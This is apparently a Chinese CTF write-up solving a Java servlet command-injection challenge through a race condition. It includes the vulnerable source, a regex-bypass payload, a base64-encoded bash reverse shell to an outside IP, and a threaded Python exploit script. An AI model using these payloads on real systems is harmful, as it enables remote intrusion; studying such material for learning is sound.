某比赛的某题
今天准备继续学fastjson的,朋友丢过来一道题,看了一下是java的Servlet
给了附件:
package com.le1a.web.servlet;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@WebServlet("/test")
public class BisaiServlet extends HttpServlet {
public int isok;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse response) throws ServletException, IOException {
isok=1;
String cmd = req.getParameter("cmd");
if(cmd==null){
response.getWriter().write("please input get cmd");
}
String status = req.getParameter("status");
if(status.equals("isok")){
isok=0;
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
if(isok==0){
return;
}
if(status.equals("isok")){
try {
response.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(response, new Object[]{new Integer(200)});
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
Pattern p = Pattern.compile("\\$\\(printf .*?\\)");
Matcher m = p.matcher(cmd);
boolean b = m.matches();
if(b){
// response.getWriter().write(cmd);
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
response.getOutputStream().write(result);
response.getOutputStream().flush();
response.getOutputStream().close();
}
}else{
response.getWriter().write("no no no~");
}
}
}
大致看了一下代码,请求两个参数,一个cmd
、一个status
,首先就是判断status
是否为isok
,如果是的话就设置isok
参数为0,接着走到下一个if
语句就直接return
了,而命令执行的逻辑是在后面的if
语句中,而这两个if
语句的判断条件是一致的,也就是不能走到这个if
,但要走到下面的if
中,这里就又涉及到Servlet的线性安全问题了,以前y4师傅也提到过这个,VNCTF也出现过,这里就不在赘述了,总之就是跑条件竞争就好了。
继续看后面,有一个正则匹配\\$\\(printf .*?\\)
,需要cmd
中匹配到正则,然后才能进入下一个if
,最后是拼凑出了能用的payload:
$(printf 1) || 命令 || echo \)
本地curl一下看一下命令是否被执行
发现能成功执行,接下来就改一下命令,直接反弹shell,值得注意的是Java环境反弹shell需要Base64才行,所以payload为:
/test?cmd=$(printf 1) || bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}&status=isok
/test?cmd=$(printf 1) || bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}&status=Le1a
因为Payload中含有&
,会与传参的&混淆,所以将其url编码一下。
EXP:
import requests
import threading
url1 = "http://82.156.76.166:8083/test?cmd=%24(printf%201)%20%7C%7C%20bash%20-c%20'%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'%20%7C%7C%20echo%20%5C)&status=isok"
url2 = "http://82.156.76.166:8083/test?cmd=%24(printf%201)%20%7C%7C%20bash%20-c%20'%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'%20%7C%7C%20echo%20%5C)&status=Le1a"
def one(session):
while event.isSet():
res = session.get(url=url1).text
def two(session):
while event.isSet():
res = session.get(url=url2).text
if __name__ == '__main__':
event = threading.Event()
event.set()
session = requests.session()
for i in range(1, 30):
threading.Thread(target=one, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=two, args=(session,)).start()
监听端口,然后运行脚本,收到反弹的Shell,find找一下flag,得到flag:
flag{i_love_Gcker_very_m0ch}